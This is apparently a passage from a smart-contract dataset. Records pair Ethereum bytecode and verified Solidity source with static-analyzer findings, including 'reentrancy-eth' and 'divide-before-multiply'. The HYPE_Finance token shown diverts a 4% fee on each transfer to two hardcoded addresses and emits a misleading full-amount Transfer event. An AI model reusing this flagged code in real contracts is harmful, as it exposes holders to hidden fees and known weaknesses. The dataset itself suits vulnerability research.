b818601915086601f830112611b2757600080fd5b813581811115611b3657600080fd5b8760208260051b8501011115611b4b57600080fd5b602092830195509350611b6191860190506119f6565b90509250925092565b60006020808385031215611b7d57600080fd5b823567ffffffffffffffff80821115611b9557600080fd5b818501915085601f830112611ba957600080fd5b813581811115611bbb57611bbb611e4e565b8060051b604051601f19603f83011681018181108582111715611be057611be0611e4e565b604052828152858101935084860182860187018a1015611bff57600080fd5b600095505b83861015611c2957611c15816119e6565b855260019590950194938601938601611c04565b5098975050505050505050565b600060208284031215611c4857600080fd5b61139e826119f6565b600060208284031215611c6357600080fd5b5035919050565b60008060008060808587031215611c8057600080fd5b5050823594602084013594506040840135936060013592509050565b600060208083528351808285015260005b81811015611cc957858101830151858201604001528201611cad565b81811115611cdb576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d765784516001600160a01b031683529383019391830191600101611d51565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611daa57611daa611e22565b500190565b600082611dcc57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611deb57611deb611e22565b500290565b600082821015611e0257611e02611e22565b500390565b6000600019821415611e1b57611e1b611e22565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107e457600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220bbe126314e05b58e81712614de61e1f00e14f0605e29bc5075a9a70e3a04ff5264736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 5,923 |
0x01db9cf9e6d4f4624723f982dc096d2d07612fce
|
/**
*Submitted for verification at Etherscan.io on 2020-11-10
*/
/**
*Submitted for verification at Etherscan.io on 2020-11-09
*/
/**
*Submitted for verification at Etherscan.io on 2020-11-05
*/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.7.4;
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
function transferFromStake(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
function ceil(uint a, uint m) internal pure returns (uint r) {
return (a + m - 1) / m * m;
}
}
contract Context {
constructor () { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping (address => uint) internal _balances;
mapping (address => mapping (address => uint)) internal _allowances;
uint internal _totalSupply;
uint256 ownerFee = 20; // 2%
uint256 rewardMakerFee = 20; // 2%
function totalSupply() public view override returns (uint) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint) {
require(account != address(0), "ERC20: checking balanceOf from the zero address");
return _balances[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
require(amount > 0, "amount should be > 0");
require(recipient != address(0), "ERC20: recipient shoud not be the zero address");
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint) {
require(owner != address(0), "ERC20: owner from the zero address");
require(spender != address(0), "ERC20: spender to the zero address");
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
require(amount > 0, "amount should be > 0");
require(spender != address(0), "ERC20: spender shoud not be the zero address");
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
require(recipient != address(0), "ERC20: recipient is set to the zero address");
require(sender != address(0), "ERC20: sending to the zero address");
require(amount > 0, "amount should be > 0");
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function transferFromStake(address sender, address recipient, uint amount) public override returns (bool) {
require(recipient != address(0), "ERC20: recipient is set to the zero address");
require(sender != address(0), "ERC20: sending to the zero address");
_transferstake(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns (bool) {
require(addedValue > 0, "Value should be > 0");
require(spender != address(0), "ERC20: increaseAllowance from the zero address");
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) {
require(subtractedValue > 0, "Value should be > 0");
require(spender != address(0), "ERC20: decreaseAllowance from the zero address");
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
address mainOwner = 0x7BB705FD59D2bA9D236eF8506d3B981f097ABb24;
address rewardMaker = 0x181b3a5c476fEecC97Cf7f31Ea51093f324B726f;
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 burntAmount1 = (onePercent(amount).mul(ownerFee)).div(10);
uint256 leftAfterBurn1 = amount.sub(burntAmount1);
uint256 burntAmount2 = (onePercent(amount).mul(rewardMakerFee)).div(10);
uint256 leftAfterBurn2 = leftAfterBurn1.sub(burntAmount2);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(leftAfterBurn2);
_balances[mainOwner] = _balances[mainOwner].add(burntAmount1);
_balances[rewardMaker] = _balances[rewardMaker].add(burntAmount2);
emit Transfer(sender, rewardMaker, burntAmount2);
emit Transfer(sender, mainOwner, burntAmount1);
emit Transfer(sender, recipient, amount);
}
function onePercent(uint256 _tokens) private pure returns (uint256){
uint256 roundValue = _tokens.ceil(100);
uint onePercentofTokens = roundValue.mul(100).div(100 * 10**uint(2));
return onePercentofTokens;
}
function _transferstake(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
}
contract ERC20Detailed is ERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name_, string memory symbol_, uint8 decimals_) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library Address {
function isContract(address _addr) internal view returns (bool){
uint32 size;
assembly {
size := extcodesize(_addr)
}
return (size > 0);
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract HYPE_Finance is ERC20, ERC20Detailed, Ownable {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint;
//address public owner;
constructor () ERC20Detailed("HYPE-Finance", "HYPE", 18) {
owner = msg.sender;
_totalSupply = 10000 *(10**uint256(18));
_balances[msg.sender] = _totalSupply;
}
}
|
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c806370a082311161008c578063a457c2d711610066578063a457c2d714610490578063a9059cbb146104f4578063dd62ed3e14610558578063f2fde38b146105d0576100ea565b806370a08231146103815780638da5cb5b146103d957806395d89b411461040d576100ea565b806318160ddd116100c857806318160ddd1461025a57806323b872dd14610278578063313ce567146102fc578063395093511461031d576100ea565b806306fdde03146100ef578063095ea7b31461017257806313bbe5b9146101d6575b600080fd5b6100f7610614565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013757808201518184015260208101905061011c565b50505050905090810190601f1680156101645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106b6565b60405180821515815260200191505060405180910390f35b610242600480360360608110156101ec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107cf565b60405180821515815260200191505060405180910390f35b6102626109b3565b6040518082815260200191505060405180910390f35b6102e46004803603606081101561028e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109bd565b60405180821515815260200191505060405180910390f35b610304610c17565b604051808260ff16815260200191505060405180910390f35b6103696004803603604081101561033357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c2e565b60405180821515815260200191505060405180910390f35b6103c36004803603602081101561039757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ddc565b6040518082815260200191505060405180910390f35b6103e1610ea9565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610415610ecf565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561045557808201518184015260208101905061043a565b50505050905090810190601f1680156104825780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104dc600480360360408110156104a657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f71565b60405180821515815260200191505060405180910390f35b6105406004803603604081101561050a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611139565b60405180821515815260200191505060405180910390f35b6105ba6004803603604081101561056e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611252565b6040518082815260200191505060405180910390f35b610612600480360360208110156105e657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113e4565b005b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106ac5780601f10610681576101008083540402835291602001916106ac565b820191906000526020600020905b81548152906001019060200180831161068f57829003601f168201915b5050505050905090565b600080821161072d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f616d6f756e742073686f756c64206265203e203000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107b3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c81526020018061246d602c913960400191505060405180910390fd5b6107c56107be6114b7565b84846114bf565b6001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610856576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602b815260200180612362602b913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156108dc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602281526020018061238d6022913960400191505060405180910390fd5b6108e78484846116b6565b6109a8846108f36114b7565b6109a3856040518060600160405280602881526020016123fe60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109596114b7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461196c9092919063ffffffff16565b6114bf565b600190509392505050565b6000600254905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a44576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602b815260200180612362602b913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415610aca576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602281526020018061238d6022913960400191505060405180910390fd5b60008211610b40576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f616d6f756e742073686f756c64206265203e203000000000000000000000000081525060200191505060405180910390fd5b610b4b848484611a2c565b610c0c84610b576114b7565b610c07856040518060600160405280602881526020016123fe60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610bbd6114b7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461196c9092919063ffffffff16565b6114bf565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000808211610ca5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f56616c75652073686f756c64206265203e20300000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d2b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e815260200180612499602e913960400191505060405180910390fd5b610dd2610d366114b7565b84610dcd8560016000610d476114b7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fa090919063ffffffff16565b6114bf565b6001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e63576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f8152602001806122bd602f913960400191505060405180910390fd5b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f675780601f10610f3c57610100808354040283529160200191610f67565b820191906000526020600020905b815481529060010190602001808311610f4a57829003601f168201915b5050505050905090565b6000808211610fe8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f56616c75652073686f756c64206265203e20300000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561106e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e8152602001806123d0602e913960400191505060405180910390fd5b61112f6110796114b7565b8461112a856040518060600160405280602581526020016124eb60259139600160006110a36114b7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461196c9092919063ffffffff16565b6114bf565b6001905092915050565b60008082116111b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f616d6f756e742073686f756c64206265203e203000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611236576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e815260200180612334602e913960400191505060405180910390fd5b6112486112416114b7565b8484611a2c565b6001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806124266022913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561135f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806123126022913960400191505060405180910390fd5b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461143e57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146114b45780600760016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611545576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806124c76024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115cb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602281526020018061229b6022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561173c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806124486025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156117c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806122786023913960400191505060405180910390fd5b61182d816040518060600160405280602681526020016122ec602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461196c9092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118c0816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fa090919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611a19576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156119de5780820151818401526020810190506119c3565b50505050905090810190601f168015611a0b5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000737bb705fd59d2ba9d236ef8506d3b981f097abb249050600073181b3a5c476feecc97cf7f31ea51093f324b726f9050600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611ae4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806124486025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611b6a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806122786023913960400191505060405180910390fd5b6000611b9c600a611b8e600354611b8088612028565b61207c90919063ffffffff16565b61210290919063ffffffff16565b90506000611bb3828661214c90919063ffffffff16565b90506000611be7600a611bd9600454611bcb8a612028565b61207c90919063ffffffff16565b61210290919063ffffffff16565b90506000611bfe828461214c90919063ffffffff16565b9050611c6b876040518060600160405280602681526020016122ec602691396000808d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461196c9092919063ffffffff16565b6000808b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611cfe816000808b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fa090919063ffffffff16565b6000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d91846000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fa090919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e24826000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fa090919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a38573ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a38773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef896040518082815260200191505060405180910390a3505050505050505050565b60008082840190508381101561201e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60008061203f60648461219690919063ffffffff16565b905060006120706002600a0a60640261206260648561207c90919063ffffffff16565b61210290919063ffffffff16565b90508092505050919050565b60008083141561208f57600090506120fc565b60008284029050828482816120a057fe5b04146120f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806123af6021913960400191505060405180910390fd5b809150505b92915050565b600061214483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121b1565b905092915050565b600061218e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061196c565b905092915050565b60008182600184860103816121a757fe5b0402905092915050565b6000808311829061225d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612222578082015181840152602081019050612207565b50505050905090810190601f16801561224f5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161226957fe5b04905080915050939250505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a20636865636b696e672062616c616e63654f662066726f6d20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207370656e64657220746f20746865207a65726f206164647265737345524332303a20726563697069656e742073686f7564206e6f7420626520746865207a65726f206164647265737345524332303a20726563697069656e742069732073657420746f20746865207a65726f206164647265737345524332303a2073656e64696e6720746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a206465637265617365416c6c6f77616e63652066726f6d20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206f776e65722066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a207370656e6465722073686f7564206e6f7420626520746865207a65726f206164647265737345524332303a20696e637265617365416c6c6f77616e63652066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212204e9b11daf7cd511bc1c6bf6c4eb7bd0ac4343cb1e523514eec2c9646709bd25864736f6c63430007040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 5,924 |
0xca433f463321aeb9a42d1a0e684f8f680c94782c
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
contract SwapAdmin {
address public admin;
address public candidate;
constructor(address _admin) public {
require(_admin != address(0), "admin address cannot be 0");
admin = _admin;
emit AdminChanged(address(0), _admin);
}
function setCandidate(address _candidate) external onlyAdmin {
address old = candidate;
candidate = _candidate;
emit candidateChanged( old, candidate);
}
function becomeAdmin( ) external {
require( msg.sender == candidate, "Only candidate can become admin");
address old = admin;
admin = candidate;
emit AdminChanged( old, admin );
}
modifier onlyAdmin {
require( (msg.sender == admin), "Only the contract admin can perform this action");
_;
}
event candidateChanged(address oldCandidate, address newCandidate );
event AdminChanged(address oldAdmin, address newAdmin);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
